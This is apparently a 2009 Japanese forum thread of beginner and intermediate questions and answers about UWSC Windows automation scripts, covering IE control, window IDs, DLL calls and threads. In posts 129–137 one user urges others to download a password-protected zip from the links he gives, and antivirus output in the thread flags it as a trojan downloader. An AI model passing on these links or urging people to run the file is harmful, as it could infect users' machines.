> Ie.navigate( "http://www.yahoo.co.jp/") を使えばいい。
> ほぼ確実にできるようになる。

これを単純に使用した場合、一番左のタブに指令が行くようなので
1番目のタブにyahoo
2番目のタブにinfoseek
……
といったことができませんでした。

> アドレスを入れる前にこのメッセージを消しておけば素通りはしなくなる。

消せるのですか。
調べてみますが、また分からなかったら教えてください。
102名無しさん@お腹いっぱい。:2009/04/15(水) 05:34:31 ID:qgyfHlhE0
>>99うん
ずっとUWSC.INIにNotMultiplex = 0あったはずなのに多重起動できなかったから謎だった
今STOPFORM(TRUE)入りのスクリプト一回実行したら
STOPFORM(FALSE)でストップ窓出さないスクリプト実行中にもちゃんと多重起動できるようになった
一体なんだったんだろう
103名無しさん@お腹いっぱい。:2009/04/15(水) 06:02:54 ID:HthVxZ2l0
>>101
新しいタブで開くならIE.navigate2の第2引数に次のどれかを指定すればいいらしい。
VBでは&H800だけど、UWSCでは$800と指定することに注意。
Const navOpenInNewTab = &H800
Const navOpenInBackgroundTab = &H1000
ttp://www.happy2-island.com/vbs/cafe02/capter00711.shtml

英語なので分からないけど
Get Active Tab in IE7
ttp://social.msdn.microsoft.com/Forums/ja-JP/vbgeneral/thread/60c6c95d-377c-4bf4-860d-390840fce31c

UWSC掲示板でIE7の話題
ttp://www.google.co.jp/search?hl=ja&q=site%3Abigcosmic.com+IE7


どうしても既存のタブに開きたいのなら、
キー送信でタブを切り替えつつ、タブごとにGetActiveOLEObj()を実行して
それぞれのIEオブジェクトを取得すればいい。(多分できるんじゃないかな)
IE1〜IE10のオブジェクトがあれば、たとえばIE5.navigate()で5つめのタブで開くとかできるでしょ。

IEオブジェクトは配列にすればスマートに書ける
dim IE[10]
IE[cnt] = GetActiveOLEObj()
IE[cnt].navigate()
104名無しさん@お腹いっぱい。:2009/04/17(金) 09:08:00 ID:3eWeWjWG0
同じIDの2つのウインドウに対してそれぞれ命令文実行するのはどうしたらいいんでしょう?
105名無しさん@お腹いっぱい。:2009/04/17(金) 09:16:25 ID:vJUVWnem0
ウィンドウ違ったらIDも違うだろ
106名無しさん@お腹いっぱい。:2009/04/17(金) 09:40:53 ID:3eWeWjWG0
GETIDしてもクラス名とか同じなんす・・・どこか見分ける方法あるんでしょうか?
107名無しさん@お腹いっぱい。:2009/04/17(金) 10:19:36 ID:7iQc6sCf0
だからIDだろ…おまえは何を言ってるんだ
108名無しさん@お腹いっぱい。:2009/04/17(金) 11:06:27 ID:3eWeWjWG0
自分でも何が言いたいのかよくわからなくなりました・・・
109名無しさん@お腹いっぱい。:2009/04/17(金) 11:27:01 ID:z2t7NbQ10
GETIDを使いたくてもウィンドウ名とかクラス名が同じだから取得できないってことじゃないの
110横レス:2009/04/17(金) 16:01:13 ID:oV5BKBHw0
>>108
109だとしたら
GETALLWIN( )で全ウィンドウのIDを読んでから必要なものだけ残す方向で
111名無しさん@お腹いっぱい。:2009/04/17(金) 19:51:44 ID:dPRHXoSq0
>>106
見分ける方法は表示されてるテキストとかボタンとかだな。
112名無しさん@お腹いっぱい。:2009/04/18(土) 21:40:19 ID:XXPYfPCL0
初心者の質問ですいませんがご教授ください。
[YES][NO]のメッセージボックスを順番に3つ出し、YESが2つ出た時点で
"YESが2つ貯まったよ"というメッセージボックスを出しOKボタンでUWSを
終わらせたいのですが、どうもうまく文が書けません。

以下のように書いてみたのですが[関数が正しく閉じていません]となって
しまいます。お願いします。

POINT = 0
IF MSGBOX("チェック1OK?",BTN_YES or BTN_NO) = BTN_YES then POINT = POINT + 1

IF MSGBOX("チェック2OK?",BTN_YES or BTN_NO) = BTN_YES then POINT = POINT + 1
IF POINT = 2 THEN MSGBOX("YESが2つ貯まったよ") AND EXITEXIT

IF MSGBOX("チェック3OK?",BTN_YES or BTN_NO) = BTN_YES then POINT = POINT + 1
IF POINT = 2 THEN MSGBOX("YESが2つ貯まったよ") AND EXITEXIT
113名無しさん@お腹いっぱい。:2009/04/18(土) 21:42:10 ID:RzsxB0wk0
マルチステートメントをANDでつないでる人なんて初めて見たわ。
IFBにして行分けなきゃ駄目に決まってるじゃん
114名無しさん@お腹いっぱい。:2009/04/18(土) 21:53:58 ID:wfTm4mrd0
これはひどい
115名無しさん@お腹いっぱい。:2009/04/18(土) 21:55:44 ID:XXPYfPCL0
>>113
ありがとうございました。
解決しました。
116104:2009/04/19(日) 11:33:06 ID:cQ6R7vH10
根本から勘違いしてるのかもしれないので質問させてください。

たとえば、新規に開いたメモ帳2窓だとGETALLWIN( )しても
ウインドウIDもクラス名も両方とも「無題 - メモ帳」「notepad」で識別する方法無いですよね?
117名無しさん@お腹いっぱい。:2009/04/19(日) 11:45:06 ID:yPMpTKOZ0
>>116
>>105
同じIDのウインドウなんてありません。
118名無しさん@お腹いっぱい。:2009/04/19(日) 11:45:06 ID:kETpq9Eh0
いやだからウィンドウIDは違うよ
119名無しさん@お腹いっぱい。:2009/04/19(日) 11:57:47 ID:8Ti6dx9WP
>>116
手動で二つのウィンドウを区別する場合、あなたはどう判断しているの?
左右に並べて右側のウィンドウが知りたいならSTATUS関数を使って座標を比較すればいいんだし

あなたは何をしたいんですか?
120名無しさん@お腹いっぱい。:2009/04/19(日) 12:03:17 ID:yPMpTKOZ0
>>116
もう一つ言うと、
> ウインドウIDもクラス名も両方とも「無題 - メモ帳」「notepad」で識別する方法無いですよね?
ウインドウIDとクラス名と言ってるけど
「notepad」は、確かにクラス名だけど
「無題 - メモ帳」は、ウインドウIDじゃない。タイトルです

あなたが言ってるのは、同姓同名で生年月日まで一緒の別人をどうやって区別するんですか?
しかもその二人は、免許証番号や電話番号まで一緒なんです。って言ってるようなものです。
121名無しさん@お腹いっぱい。:2009/04/19(日) 14:08:17 ID:Me2htpU20
>>120
いや、同姓同名の同住所でも免許証番号とかは違うから。
一人二役でない限りは。

>>116
うん。だから区別できないよ。
だから自分でExecとかCreateOLEObjして自分用のを作るんだよ。
122名無しさん@お腹いっぱい。:2009/04/19(日) 15:40:48 ID:8Ti6dx9WP
えーそうかな?
単に「タイトル」「クラス名」「ID」の意味が分かってないだけだと思う。でないと
>ウインドウIDもクラス名も両方とも「無題 - メモ帳」「notepad」で識別する方法無いですよね?
が全く説明つかない。
俺の解釈は以下の通り。

//2個未保存のメモ帳があって、それぞれ「AAAA」「BBBB」と入力されている想定

//104時点での考え
IDその1 = GETID("無題 - メモ帳", "notepad")//「AAAA」側のIDを取得したい
IDその2 = GETID("無題 - メモ帳", "notepad")//「BBBB」側のIDを取得したい
if IDその1 = IDその2 then MSGBOX("同じID") // だから104で「同じID」と言ってる

//109-110の重要キーワード「GETALLWIN」を聞いた116時点での考え
IDその1 = GETID("無題 - メモ帳", "notepad")//「AAAA」側のIDを取得したい
GETALLWIN() //これを使えば同名、同クラスの別IDを参照できると勘違い
IDその2 = GETID("無題 - メモ帳", "notepad")//「BBBB」側のIDを取得したい
if IDその1 = IDその2 then MSGBOX("同じID") // だから116で「GETALLWIN( )しても」と言ってる

//109-110が言ってた「GETALLWIN」の使い方
ウィンドウ数 = GETALLWIN()
FOR I=1 TO ウィンドウ数
  IFB STATUS(ALL_WIN_ID[I-1], ST_TITLE) = "無題 - メモ帳" THEN
    MSGBOX(GETSTR(ALL_WIN_ID[I-1], 1)) //「AAAA」「BBBB」が表示されるはず
  ENDIF
NEXT
123名無しさん@お腹いっぱい。:2009/04/19(日) 22:15:44 ID:yPMpTKOZ0
>>121
だから、別人という前提が間違ってる。勘違いだと言ってるんでしょ
ユニークに割り当てられているはずのものが同じならそれは別なものじゃなくて同じものなんだから
124名無しさん@お腹いっぱい。:2009/04/20(月) 03:19:17 ID:EnXtAM1m0
>>123

>>116が言ってるのは別人という前提なんです。
>新規に開いたメモ帳2窓
これはメニューからメモ帳を2回クリックして2つ起動し、ウィンドウが2つある状態ということですよ。

2窓について
ttp://detail.chiebukuro.yahoo.co.jp/qa/question_detail/q1111555451

それぞれちょっとずれたことを言ってますね。
IDは確かに一つの窓に一つで識別できるけど、
ID以外の方法で区別するのは難しいですよね。

>>104はIDとは何なのか分かってないので、IDと言ってるのは無視して考えないと。

メモ帳のステータス置いときます。
ID      57
PARENT  -1
PROCESS 5868
Handle   9635392
ICON    0
VISIBLE  1
ACTIVE   0
BUSY    0
TITLE    無題 - メモ帳
CLASS   Notepad
125名無しさん@お腹いっぱい。:2009/04/20(月) 08:20:00 ID:cLKDMuVI0
>>123は端折りすぎだけど、
同じ免許書番号の別人がいないように
同じウインドウIDの別ウインドウなんて存在しないんだから
その前提が間違ってるってことだろ。

別ウインドウかどうかなんて画面で一目瞭然なんだから
IDが同じってのが間違ってるってことは確定的に明らか
126名無しさん@お腹いっぱい。:2009/04/20(月) 09:05:26 ID:lfFRPe8i0
使い始めたのですがどうしても判らない点があるので教えて下さい。
WEB上でsubmitのボタンがdisabledを使用していて、一旦押すと
しばらく表記文字がグレーになって押せません。
このenable/disableの状態を取得する方法はありませんでしょうか?
宜しくお願いします。
127名無しさん@お腹いっぱい。:2009/04/20(月) 10:01:29 ID:EnXtAM1m0
>>126
状態 = IE.document.all.ボタン名.disabled


HTAていうの使いはじめてみたんだけど、これいいよ。
MS Office PremiumにMicrosoft Development Environment(MSE.EXE)てのがついてて、
HTMLコントロールのプロパティとかの一覧が出てくる。
最近の開発環境なら当たり前だけど、僕が持ってるのOffice2000だからそーとー前のなんだけど。
場所は"C:\Program Files\Microsoft Visual Studio\Common\IDE\IDE98\MSE.EXE"
・・・あれ?Officeの付録じゃなかったっけな・・・
WindowsのSystemフォルダと日時が同じだからXP Homeについてるのかな?

あ、これ使う場合のファイルはHTMLファイルで、
CreateObjectする場合は別にプロパティ一覧とか出てこないけど。
12889:2009/04/20(月) 14:54:07 ID:AwZv06Kt0
>>103
遅レスですが、以下で新しいタブで開きました。ありがとうございました。

Ie.navigate( Address, $800)
129127:2009/04/21(火) 10:48:50 ID:CPJxMALFO
UWSCは当初ゲームの自動操縦のために使い始めたんだけど、
今はIEを操作することが多いんですよね。
IEの操縦ならHTAでっていうかHTML+VBScriptにすると、画面も使えちゃって便利です。
HTMLのスクリプトならJavaScriptじゃないとって思ってたけど、
UWSCでBasic系の記述に慣れてるのと、HTAで使うのはJavaScriptじゃなくてJScriptなので、
どうせならVBScriptを使ってWeb用とHTA用をはっきり分けたほうがいいかなということで
VBScriptで行きました。
HTAで作ったツールの第一号をうpってるんで使ってみてください。
ていうかできればコレをダウンロードして、規制されてる僕たちのために代行やってください。
ttp://karimofu.org/dlp/mofu1_6055.zip.php
標準ZIP DLパス:siberia
130名無しさん@お腹いっぱい。:2009/04/21(火) 12:15:22 ID:zWBQpk48P
>>129
どう見てもウィルスです
本当にありがとうございました

カスペルスキーインターネットセキュリティ
2009
アクセスが遮断されました
入力したURLのWebページを表示できません

入力したURL:
http://karimofu.org/storage/Lr1tsrD6l6Qh
21be/mofu1_6055.zip

このWebページはウイルスに感染しています

次のウイルスが見つかりました:Trojan-Downloader.JS.gen


この情報が正しくないと考えられるときは、ご利用のサービスプロバイダーにご連絡ください
情報:
Tue Apr 21 12:14:05 2009
カスペルスキーインターネットセキュリティ 2009
131名無しさん@お腹いっぱい。:2009/04/21(火) 13:33:41 ID:CPJxMALFO
>>130
あなたのパソコンがウィルスに感染してるか、うp炉だ自体がウィルスだと判定されているんだと思います。
そもそもZip圧縮されたものがウィルスとして活動できるわけないでしょう。偽装ならともかく。
AVG ClamWin Eset eTrust McAfee MicroWorld Norman Sunbelt VirusBuster の4・20の最新パターンで検索して一つも引っかかりませんでしたよ。

http://www.filterbit.com/
郵便補助ツール007.zip uploaded on 2009-04-21 04:13:23 AM UTC
Scan Completed in 172 ms.
Final Result NO VIRUSES DETECTED

郵便補助.hta uploaded on 2009-04-21 04:14:45 AM UTC
Scan Completed in 6.344 secs.
Final Result NO VIRUSES DETECTED

sleep.vbs uploaded on 2009-04-21 04:15:21 AM UTC
Scan Completed in 6.234 secs.
Final Result NO VIRUSES DETECTED

同じものを別のとこに置いたから、こっち↓からのダウンロードを試してみてください。
http://scripts.web.fc2.com/scriptsup/yubin007.zip
132名無しさん@お腹いっぱい。:2009/04/21(火) 13:44:41 ID:ghaE4/Ws0
>>ID:CPJxMALFO
DLする気になれないからウィルスかどうかは判らんが、HTAとJScriptの話題を続けるなら

他所でやってくれ。
133名無しさん@お腹いっぱい。:2009/04/21(火) 14:00:12 ID:KISr4rZl0
>>131
帰れカスが
134名無しさん@お腹いっぱい。:2009/04/21(火) 14:25:54 ID:zWBQpk48P
https://www.virustotal.com/jp/
にて>>129>>131をチェックしました。
結果は以下の通りです。
https://www.virustotal.com/jp/analisis/64c72feb68f9b05ce73599509baf8187

皆さん注意してください。
>>131が言っているのは全くの嘘、詐欺、デタラメです。
最近のウィルス対策ソフトは圧縮データをバックグラウンドで自動で解凍し、
中身に問題のあるファイルが含まれているかをチェックしています。
圧縮されている「郵便補助.hta」というファイルはウィルスです。

まだ対策が始まったばかりで未対応のウィルス対策ソフトもあります。
既に実行された方は
http://www.kaspersky.co.jp/virusscanner
にてウィルスがどこにあるかを調査し、手動で削除する必要があります。
(無料のため自動では削除されません)

皆様、くれぐれも実行などせぬように注意願います。
135名無しさん@お腹いっぱい。:2009/04/21(火) 15:44:40 ID:hCW2ez470
Trojan-Downloader.JS.gen でも何でもないけど
HTTP_GETしてるスクリプトは誤判定されるんだろうな
どっちにしろスレ違いだし、もうあきらめなー
136名無しさん@お腹いっぱい。:2009/04/21(火) 17:20:34 ID:EjoW6ZpV0
落として検査してソース見たよ

137名無しさん@お腹いっぱい。:2009/04/21(火) 19:21:07 ID:hCW2ez470
俺も見たよ 問題ないだろ
関数GetTextByURLだけ抜き出して>>134でチェックすると引っかかる
F-SecureとかKasperskyはあまりアテにならんってことだな
138名無しさん@お腹いっぱい。:2009/04/21(火) 23:19:31 ID:KISr4rZl0
問題ないとかじゃなくてスレ違いだっつの
139名無しさん@お腹いっぱい。:2009/04/22(水) 17:32:54 ID:N45Vs4AF0
初心者です
座標(X,Y)の色が黒で無いという文を作りたいです
PEEKCOLOR(X,Y)= $181818

否定の ! はどのようにつければいいのでしょうか
試行錯誤してみましたが機能しませんでした
140名無しさん@お腹いっぱい。:2009/04/22(水) 19:50:11 ID:5189R7q50
<>
141名無しさん@お腹いっぱい。:2009/04/22(水) 21:33:39 ID:5EWcb3vi0
思うんだが181818だけが黒じゃないよね?
142名無しさん@お腹いっぱい。:2009/04/22(水) 21:37:39 ID:GhDeitu20
>>139
!(PEEKCOLOR(X,Y) = $181818)
143名無しさん@お腹いっぱい。:2009/04/23(木) 00:06:35 ID:kwl9x0DH0
>>142さん
ありがとうございます
機能しました
144シベリアよりのお手紙:2009/04/23(木) 13:39:24 ID:VMVPYLE80
■ブラウザで掲示板に書き込む操作【送信ボタンクリック編】
初心者に簡単なほうから順に
※IDやIEは適切に取得している前提

(1) ClkItem(ID, "書き込む", CLK_ACC)
(2) IELink(IE, "書き込む")
(3) IELink(IE, "", 1)
(4) IE.document.all.[アイテム名].click()
(5) IE.document.[フォーム名].submit()

(1),(2)は表示されているボタン名を指定してクリックする方法で、簡単です。
アイテム名、フォーム名はWebページのソースを見て確認する必要があります。
「name=」や「ID=」で名前がつけられてないときは、forms[0]やitems[0]などと指定します。

【解説】
また、ボタン名は「submitです」
(1) ClkItem()はローカルアプリケーションの操作用ですが、CLK_ACCを指定するとWebページの操作も可能になります。
(2)と(3) IELink()は、<a>タグによるリンクをクリックするものです。
  標準以外のボタンやテキストリンクの場合に使えます。
(2)テキストで書かれたリンクの場合の書き方です。
(3)画像リンクの場合の書き方です。”ログイン”などと表記されていても、画像が埋め込まれている場合はこちらを使います。
(4)と(5) DOM(Document Object Model)と呼ばれるアクセス方法です。
2ちゃんねるでは(5)については動きません。ボタン名がかぶっているからかも。
145名無しさん@お腹いっぱい。:2009/04/23(木) 14:11:23 ID:ToP+iXmu0
どうも配列変数が巨大(x{1000]とか)なスクリプトがあるとUWSC関係のいろいろに影響するっぽい
起動オプションでUWSC用メモリ確保量指定できるといいんだけど
146名無しさん@お腹いっぱい。:2009/04/23(木) 14:34:53 ID:hbhpeBX00
大昔のPCとビデオキャプチャカード(予約録画機能なし)+UWSCで録画専用PCを作成してみた。

rec.uws 番組タイトル 分数
をuwscのタイマーにセットし、(タイマーは40個分あるので充分)
rec.uwsは時間になるとchkbmpで録画ボタンを押し、分数で与えた時間が経過すると停止ボタンを押す。

終わったらmpgデータを、
録画済みフォルダにタイトル+数字.mpgが既にあれば、
タイトル+(数字+1).mpgにリネーム、なければタイトル001.mpgにリネーム
リネームしたmpgを録画済みフォルダに移動する。

そのうち、
録画しない空き時間にmpgをMediaCoderでaviに自動変換して入れ替えていく機能も追加しようと思う。

四、五万もだせば最新・高機能のHDDレコが買えるのだから、こんなもの作って喜んでいるのは貧乏人の証明以外何物でもないのだが。
手間はほんの数時間だからいいんだよ!
147名無しさん@お腹いっぱい。:2009/04/27(月) 17:00:06 ID:IAlYDpEu0
ttp://siromasa.xxxxxxxx.jp/Term/1a00.html ←ここのzip解凍を参考に
Dim FilePath_Lha
Dim DirPath

FilePath_Lha=PARAM_STR[0]
DirPath=PARAM_STR[1]
UnLHA32(FilePath_lha, DirPath)

Function UnLha32(a_FilePath_Lha, a_DirPath, a_Command = "e", a_Option = "-y")
  a_DirPath = a_DirPath + Format(ChrB(0), 1)
  PathAddBackslashA(a_DirPath)
  Dim szCmdLine = a_Command + " " + a_Option + " " + DQ(a_FilePath_Lha) + DQ(a_DirPath)
  Dim t_Len = $1000
  Dim t_Buff = Format(ChrB(0), t_Len)
  UnLha(0, szCmdLine, t_Buff, t_Len)
  Result = t_Buff
FEnd

DEF_DLL UnLha(HWND, STRING, var STRING, DWORD) :INT :UNLHA32.DLL
DEF_DLL PathAddBackslashA(var String) :String :ShlwApi.DLL
Function DQ(a_Path)
  Result = "<#DBL>" + a_Path + "<#DBL> "
FEnd

とやってみましたが
「Not DLL Function:UnLha」
「20行目:UnLha(0, szCmdLine, t_Buff, t_Len)」と出て上手くいきません。
unlha32.dllはsystem32の中にありVBでは上手くいきます。
解決の糸口を教えてください。
148名無しさん@お腹いっぱい。:2009/04/27(月) 19:14:42 ID:QD9XwKZQP
>>147
DEF_DLLは、UWSCの関数と違って使う前に定義しないといけない。
ファイルの先頭に書いておけば間違いないと思う。
149名無しさん@お腹いっぱい。:2009/04/27(月) 21:03:06 ID:H7TyYdrJP
>>147
ヒント
大文字と小文字を区別して書く習慣をつけよう
150名無しさん@お腹いっぱい。:2009/04/27(月) 23:58:18 ID:ITcnKio80
>>148
>DEF_DLLは、UWSCの関数と違って使う前に定義しないといけない。

これ相当前に解消されてるハズ。
現に関数部の後にまとめてコピペしても動くし…。

>>149
関係ないような…

>>147
調べてないけど、
>DEF_DLL UnLha(HWND, STRING, var STRING, DWORD) :INT :UNLHA32.DLL
これ合ってる?

DEF_DLL UnZip(HWND, STRING, var STRING, DWORD) :INT :UNZIP32.DLL
を単純に真似しただけという理由なら駄目だと思うよ…
オイラが間違ってたらスマン。
151名無しさん@お腹いっぱい。:2009/04/28(火) 00:05:16 ID:UnYs7tqY0
>>147
DLL系は敷居が高いなぁ…と言ってしまうようなにわかスクリプターとは俺のこと。
今動かしてるのはこんな感じ。関数作るならその都度宣言してもいいんじゃないかなぁ。
…なんで宣言した引数より少なくて動くのかはしらね。逆に在ると動かないのに気づいたのは奇跡。

lha("c:\aaa\", "c:\aaa.lzh")
function lha(in, out)//入力はフォルダ専用
 DEF_DLL Unlha(Long, String, String, Long) :Long :UNLHA32.DLL
  dim hWnd
  in = "<#DBL>" + in + "<#DBL>"
  out = "<#DBL>" + out + "<#DBL>"
  commandline = "a -drn "+ out +" "+ in
  result = Unlha(hWnd, commandline)
fend
152名無しさん@お腹いっぱい。:2009/04/28(火) 00:18:30 ID:lagyuQtDP
>>151
それで動いてるんなら、戻り値がLongとすべきところをintにしてるのが問題っぽいね。
153名無しさん@お腹いっぱい。:2009/04/28(火) 00:36:03 ID:UnYs7tqY0
>>151
リザルトなんて取ってもfalseに成るだけだしなぁ。まだまだ詰めが甘過ぎるなぁ。


ところで、こちらからの質問なんだけど…
httpからのダウンロード時に URLDownloadToFileA を使っているわけだが
これを使うとスレッド動作じゃなければ、UWSCが無反応になってしまう。
…つーか専有するのはわかるけどな。UWSCでスレッドは制御しにくいから嫌なんだ。

かといって WinHttp.WinHttpRequest.5.1 等のものを使っても同じく専有して無反応。
外部にダウンロードに必要な取得cookieを渡す仕様は嫌なのでUWSCの中で完結したい。

なんかスレッドの良い処理方法は無いですかね。
…UWSCのスレッドは終了が判らないから同時ダウンロード数が弄り難いんだ。
  もう downloadBalancer とかの関数を作って、偶に抜けたりするのは勘弁だ…
…調べたり試したりするほどに無理な気がしてきたぜ。素直に別のEXE作ろうかなぁ…threadめ…
154名無しさん@お腹いっぱい。:2009/04/28(火) 07:01:41 ID:lagyuQtDP
>>153
こんな風にやればいんじゃね?知らないけど。

ThreadCnt = 0
for i = 0 to listcnt - 1
 ifb cnt <= 3 then
  thread downloadfile(URLList[i], FilePathList[i], ThreadCnt)
 endif
 sleep(1)
next

function downloadfile(URL, FilePath, var cnt)
 cnt = cnt + 1
 result = URLDownloadToFile(0, URL, FilePath, 0, 0)
 cnt = cnt - 1
fend
155147:2009/04/28(火) 10:20:25 ID:C7CacfK90
>>151 他レスを頂いた皆様ありがとうございます。
151氏のソースでさっくり動きましたのでパックリぱくらせていえ参考にさせて頂きました。m(._.)m

156名無しさん@お腹いっぱい。:2009/04/28(火) 12:35:26 ID:r3leceUUP
ちなみに>>147が動かなかった原因はここ。
>DEF_DLL UnLha(HWND, STRING, var STRING, DWORD) :INT :UNLHA32.DLL
関数名が間違っている。正しくはUnlhaね。

DLL関数自体は厳密に区別する。もともとC言語で生まれた概念だし。
だから関数が見つけられずに「Not DLL Function:UnLha」って言われているだけ。
大文字と小文字を区別して書く習慣をつけない限り間違い続けるよ。
157147:2009/04/28(火) 13:02:54 ID:C7CacfK90
>>156
おっしゃるとおり検証して確認いたしました。エラーは正確に正してくれていたのですね。
勉強になります。感謝です。
158150:2009/04/28(火) 23:09:04 ID:naDOL5i60
>>156 >>147
あぅ、気づかなかった…
スレ混乱させてスマンかった。反省。
159名無しさん@お腹いっぱい。:2009/05/04(月) 20:11:23 ID:W27H0amO0
任意の長文をテキストボックスに入力させる方法は?
アルファベット数文字だったら
KBD(VK_A,CLICK,40)
KBD(VK_H,CLICK,40)
KBD(VK_O,CLICK,40)
とかやっちゃうんだけど。
クリップボードを使うしかないのかな。
長文は固定じゃないから文章を入力したテキストファイルを複数用意しておいて
その内容をどうにかしてクリップボードに入れて
貼り付けって考えてるんだけど
どうかな?
もっとスマートなやりかたあるのかな。
160名無しさん@お腹いっぱい。:2009/05/04(月) 20:20:44 ID:6PozxKUv0
SENDSTR使えよw
161名無しさん@お腹いっぱい。:2009/05/04(月) 20:30:09 ID:VCE73Rq/0
おおおぅ!こんな関数があったとは!
162名無しさん@お腹いっぱい。:2009/05/04(月) 20:48:25 ID:i5Em8Ahd0
( ゚д゚) え? 使用頻度も多いし、CLKITEMなんかとともに関数の中ではまっ先に覚えるものだと思うんだが
163名無しさん@お腹いっぱい。:2009/05/04(月) 21:05:57 ID:jmZu6dcUP
だから初心者なんだろ?
164名無しさん@お腹いっぱい。:2009/05/04(月) 21:25:47 ID:/XePhOys0
>>162
すまん、目的が目的だったからchkimgとifbが先だった。

まぁ、用途によって覚えるモノは違うさ。
さて、俺もSENDSTR覚えたぞ。あとはhtmlソースから任意の文を抜き出す方法を理解してくる。
165名無しさん@お腹いっぱい。:2009/05/05(火) 14:09:24 ID:0o+yJk7+0
メモ帳が起動していなかったら、起動するってどうやって記述すればいいの?
166名無しさん@お腹いっぱい。:2009/05/05(火) 14:28:20 ID:xNlAE/wF0
ヘルプに書いてあったような。
167名無しさん@お腹いっぱい。:2009/05/05(火) 17:32:47 ID:7o1dfAoW0
ifb getid("メモ帳") < 0
  exec ("notepad")
endif
.
.
.
とか?
exec()は
NotepadID = exec("notepad")
とかやっとくと後から融通が利くと思う。
168名無しさん@お腹いっぱい。:2009/05/05(火) 18:03:41 ID:OvZysuYR0
メモ帳が起動してるケースで
 「NotepadIDが取得できずにエラーが出ました」
って質問が来たりして。
169名無しさん@お腹いっぱい。:2009/05/05(火) 18:26:15 ID:0o+yJk7+0
>>167
ありがとうございました。
1歩前進し出来ました。


>>168
初めて1時間。なんとなくわかってきました。
170名無しさん@お腹いっぱい。:2009/05/05(火) 19:54:56 ID:7o1dfAoW0
あとフルパスも使えたりする
171名無しさん@お腹いっぱい。:2009/05/06(水) 14:03:18 ID:b6Xj8bdU0
スクリプト超初心者で意味不明です。
UWSCはそれよりは少し簡単だとききました。
キャッシュバックモールの検索で使う不純な目的ですが…

UWSC Free版 Ver4.5aで
@文字を指定して検索
A11〜20秒ランダムで時間指定して間をあける。
B検索結果のページから、検索ページへページを戻す。
C @とは違う文字で検索

@〜Cの繰り返しをこのソフトでできますか?
この方法や手順のコツがあれば教えてください。
172名無しさん@お腹いっぱい。:2009/05/06(水) 16:15:12 ID:tpC5BtzM0
>>171問題なくできる
コツとしてはフレーム使用サイトだった場合IEGET/SETDATAが使えないから
a_tags = IE.document.frames("そこのフレーム名").document.getElementsByTagName("a")
a_tags.item(0).innerHTMLなりa_tags.item(6).clickなりするところ
ducumentオブジェクト(DOM)の詳しい使い方はUWSC以外でも共通なんで必要になったらネットにもいろいろ情報転がってる
173名無しさん@お腹いっぱい。:2009/05/06(水) 16:59:46 ID:okQLn1BE0
俺なら有料で教えてやるよ
どうせ調べ方も分からないだろうし、調べる気もないだろうし
1手順1000円、合計4000円でちゃんと動くやつ用意してやる

キャッシュバックモールだけでなくあらゆる場所で使えるから
先行投資だと思えば安いもんだろ
174名無しさん@お腹いっぱい。:2009/05/06(水) 17:49:39 ID:+2INV9Pa0
Drop on Scriptを使うなど出先のPCのレジストリに影響を与える方法を避けて、
USBからアプリを起動する環境で便利にスクリプトを使う方法をいろいろ調べていたら、
Windowsが標準搭載しているbatやJscriptにスクリプトを組み込んで使う方法があると知りました。
【.cmd】バッチファイルスクリプト%4【.bat】 ttp://pc12.2ch.net/test/read.cgi/tech/1229955189/
ttp://pc.nikkeibp.co.jp/article/column/20081117/1009738/?P=4
ttp://www.geocities.jp/iqh97/wsh/wmenu.htm
Jscriptやなでしこは、batファイルにそれぞれのスクリプトを記述して、
複数行コメント機能や、複数行変数の機能をうまく利用して
例 "M:\PortableApps\nadesiko_lang\vnako.exe" "%~0" %*で
引数も渡せるようです。
同じようなことをUWSCでやろうとしたら、拡張子uwsをチェックしてるらしくて
はじかれてしまいました。
起動オプションに拡張子チェックをしないなんてオプションがあると、
簡単に出来るように思うんですけど、みなさんどう思います?
175名無しさん@お腹いっぱい。:2009/05/06(水) 18:27:13 ID:O17l4RXh0
どうでもいい
176名無しさん@お腹いっぱい。:2009/05/06(水) 18:54:49 ID:X7Us3g8sP
もう少し要約して書いてくれないか?
事象が羅列されてはいるが関連性が理解できない内容になっている
177名無しさん@お腹いっぱい。:2009/05/06(水) 19:10:59 ID:X7Us3g8sP
リンク先を読んだ。

UWSCのスクリプトで記述されたファイル"XXX.bat"がある。
UWSC.exeのパラメータにそのファイル名を渡して動かしたい。
UWSCに拡張子チェックがあって〜.uwsでないと動かない。
拡張子チェックなんて不要では?

という解釈で合っているか?
178名無しさん@お腹いっぱい。:2009/05/06(水) 20:19:44 ID:X7Us3g8sP
関連付け等でレジストリをいじりたくない、かつ
batファイルダブルクリックだけでUWSCスクリプトを動かしたいという意味だとしても
これで充分動くだろうし・・・
となると>>177は違うか

TEXTBLOCK doscmd
copy "%~0" aaa.uws
"C:\Program Files\uwsc\uwsc.exe" aaa.uws
del aaa.uws
exit
ENDTEXTBLOCK

MSGBOX("Hello, World")
179171:2009/05/07(木) 07:35:20 ID:FXknwHL70
>>172
>>173
ありがとう。

昨日自己流で開発した物を先ほど試してみた。
お粗末なスクリプトだけど、機能的にはまあOKでした。
でも1つだめな点。
ワイヤレスネットなので、ほんの時々
接続が不安定になってページ表示が遅れます。
それが原因で100個検索の途中でエラーになることがあります。
これの解決方法を教えてください。(おねがします・・)
180名無しさん@お腹いっぱい。:2009/05/07(木) 08:48:01 ID:E2Y09ngh0
俺なら有料でチェックしてやるよ
どうせ調べ方も分からないだろうし、調べる気もないだろうし
5000円でちゃんと動くやつ用意してやる

キャッシュバックモールだけでなくあらゆる場所で使えるから
先行投資だと思えば安いもんだろ
181名無しさん@お腹いっぱい。:2009/05/07(木) 09:59:26 ID:Q7hf5WbeP
5000円も出すんならそういうソフトウェア探したほうが確実なような。 
182174:2009/05/09(土) 13:10:27 ID:U62YEW5T0
>>177 >>178
標準で関連付けされ、ファイルのドロップを受けられるbatやJSに相乗りできれば
相手のPC上でUWSCが関連付けされてなくても気兼ねなくスクリプトを動かせるという話です。
任意のドライブのUSBメモリにある指定のバージョンのUwsc.exeとスクリプト1つと、
BATの場合なら"%~dp0uwsc.exe" "%~0" %* の記述で、相手PCへ影響を最小限に抑えて
スクリプトを実行できるのは便利だな、と。(inputでドロップ受ける使い方も便利ですけどね)
GET_UWSC_DIRにiniやCall用のスクリプトをまとめて置くような大雑把な使い方も気兼ねなく出来るし。
拡張子チェックをしない起動オプションがあれば、いろんな環境で
融通の利く使い方も可能かな?と思ったわけです。
183174:2009/05/09(土) 13:31:22 ID:U62YEW5T0
>>178
新たにファイルコピーとかじゃなくて、そのまま動いたほうがいいかなぁと思って。
たかがユーザーで生意気なこといってすんません。
184名無しさん@お腹いっぱい。:2009/05/09(土) 19:00:40 ID:C0iNuRh9P
>新たにファイルコピーとかじゃなくて、そのまま動いたほうがいいかなぁと思って。

